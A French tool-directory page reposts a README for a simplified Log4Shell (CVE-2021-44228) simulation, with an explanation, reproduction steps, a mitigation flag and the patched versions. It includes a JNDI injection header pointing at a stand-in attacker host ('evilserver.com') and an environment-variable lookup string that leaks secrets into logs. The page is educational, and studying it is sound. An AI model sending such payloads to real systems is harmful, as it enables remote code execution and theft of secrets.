Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
cve-2021-44228 — Une simulation simple du tristement célèbre problème CVE-2021-44228. | Kitploit
Outils/GitHubGitHub/nikolas-charalambidis/cve-2021-44228
Analyse des VulnérabilitésAnalyse de CodeExploitationExploitation d'Applications WebApprentissage et ÉducationLabs et Pratique
GitHubnikolas-charalambidis/cve-2021-44228

cve-2021-44228

Une simulation simple du tristement célèbre problème CVE-2021-44228.

Voir le dépôt
il y a 4 ansPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

Java CI

CVE-2021-44228

Ce dépôt représente une simulation simplifiée du problème tristement célèbre CVE-2021-44228.

Outre les recherches de propriétés système et d'autres structures de type dictionnaire, Apache Log4j implémente également la fonctionnalité de recherche JNDI pour diverses raisons. La JNDI peut obtenir des services auprès d'un certain nombre de fournisseurs de services, tels que LDAP, DNS, le registre Java RMI, etc. La JNDI elle-même est une API simple et non sécurisée qui ne protège pas contre les fournisseurs de services contrôlés par un tiers. Tant que l'attaquant contrôle un serveur accessible publiquement via l'URL malveillante et sait ce qui est journalisé par l'application écoutant sur un port spécifique, il peut abuser du format de journal pour amener l'application à charger et exécuter du code Java arbitraire via une injection JNDI. Cela peut être transmis via des en-têtes de requête couramment journalisés, en texte brut ou sous forme obfusquée.

root@kitploit:~
user-agent: ${jndi:ldap://evilserver.com/payload}

Apache Log4j était vulnérable à l'exécution de code à distance avant la sortie de la version 2.16.0 le 13 décembre, et les auteurs ont tout mon respect pour leur réponse rapide.

Ressources :

  • https://logging.apache.org/log4j/2.x/security.html
  • https://nvd.nist.gov/vuln/detail/CVE-2021-44228
  • https://securelist.com/cve-2021-44228-vulnerability-in-apache-log4j-library/105210/
  • https://blogs.juniper.net/en-us/security/apache-log4j-vulnerability-cve-2021-44228-raises-widespread-concerns

Exemple

La simulation utilise des variables d'environnement au lieu d'un serveur LDAP, et le format de journal prend en charge la substitution de propriétés. Le principe n'est pas différent.

Prérequis

Java 11 et Maven sont requis ; néanmoins, le Maven Wrapper est également inclus dans le dépôt.

Exploitation

Le dépôt GitHub définit un secret de dépôt PASSWORD qui est défini comme variable d'environnement dans le fichier de workflow .github/workflow/ci.yml afin de rendre un secret disponible à une action. Pour reproduire le problème localement, une variable d'environnement couramment utilisée, JAVA_HOME, peut être utilisée. Le workflow compile et exécute deux applications avec différentes versions d'Apache Log4j, 2.14.1 et 2.16.0, et voici un exemple d'exécution sur GitHub Actions : Java CI #7.

Apache Log4j 2.14.1

Cette version est vulnérable à l'attaque. Suivez ces étapes pour la reproduire :

  1. mvn clean install -f log4j-2.14.1

  2. java -jar .\log4j-2.14.1\target\log4j-2.14.1.jar '${env:JAVA_HOME:-}'

    La variable d'environnement apparaît dans le journal :

    args[0] = C:\Program Files\Java\jdk-11.0.11

Voici une capture d'écran de l'action GitHub, au cas où l'exécution réelle serait supprimée automatiquement :

log4j-2.14.1.png

Notez que lorsque vous essayez d'afficher des secrets dans le journal, GitHub les occulte automatiquement et les valeurs sont masquées et affichées comme ***. La propriété a toutefois été substituée.

Atténuation

Une solution de contournement temporaire et partielle est indiquée : ajouter le paramètre JVM -Dlog4j2.formatMsgNoLookups=True ; il est donc nécessaire de redémarrer tous les nœuds de l'application.

  1. mvn clean install -f log4j-2.14.1

  2. java "-Dlog4j2.formatMsgNoLookups=True" -jar .\log4j-2.14.1\target\log4j-2.14.1.jar '${env:JAVA_HOME:-}'

    Aucune substitution de propriété n'a lieu :

    args[0] = ${env:JAVA_HOME:-}

Voici à nouveau une capture d'écran de GitHub Actions :

log4j-2.14.1-mitigated.png

Apache Log4j 2.16.0

Le problème a été corrigé dans Log4j 2.12.2 (Java 7) et Log4j 2.16.0 (Java 8) par l'équipe de sécurité Log4j.

  1. mvn clean install -f log4j-2.16.0

  2. java -jar .\log4j-2.16.0\target\log4j-2.16.0.jar '${env:JAVA_HOME:-}'

    Aucune substitution de propriété n'a lieu :

    args[0] = ${env:JAVA_HOME:-}

Voici à nouveau une capture d'écran de GitHub Actions :

log4j-2.16.0.png

Télécharger l’outil